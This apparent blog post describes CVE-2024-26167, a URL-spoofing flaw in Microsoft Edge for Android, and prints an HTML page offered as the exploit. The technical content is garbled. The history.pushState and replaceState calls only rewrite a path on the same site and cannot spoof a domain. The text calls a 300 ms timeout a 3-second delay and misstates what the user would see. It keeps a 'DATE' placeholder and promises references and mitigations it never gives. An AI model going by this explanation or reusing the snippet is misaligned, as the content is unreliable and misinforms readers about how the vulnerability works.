CVE-2024-26167 is a security vulnerability discovered in Microsoft Edge for Android, which allows an attacker to spoof the displayed URL, potentially tricking the user into believing they are on a legitimate website when in fact they are on a malicious site. In this post, we will delve into the details of this vulnerability, explore the code snippet that demonstrates the exploit, provide links to the original references, and offer mitigation tips to protect yourself against this vulnerability.

Background

On DATE, the CVE-2024-26167 vulnerability was publicly disclosed. The vulnerability revolves around the Microsoft Edge browser for Android not properly validating URLs when loading a webpage. An attacker may exploit this security issue by crafting a specially-designed web page that, when loaded by the targeted user, causes the Edge browser to display the URL of a site the attacker wants to impersonate. This method can be highly effective in fooling users into providing sensitive information or downloading malicious content.

To exploit CVE-2024-26167, an attacker typically creates a web page with the following code snippet

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.">
  <title>Edge Spoofing Demo</title>
  <script>
    window.onload = function () {
      history.pushState("", "", "/legitimate-website.com");
      setTimeout(function () {
        history.replaceState("", "", "/malicious-website.com");
      }, 300);
    };
  </script>
</head>
<body>
  <h1>Welcome to the Spoofed Website</h1>
</body>
</html>

In this example, the attacker sets the displayed URL to "legitimate-website.com" using the history.pushState function. After a 3-second delay, the history.replaceState function replaces the displayed URL with "malicious-website.com." The unsuspecting user would still see the original URL (legitimate-website.com) in the address bar, unaware that they have been redirected to a malicious site.
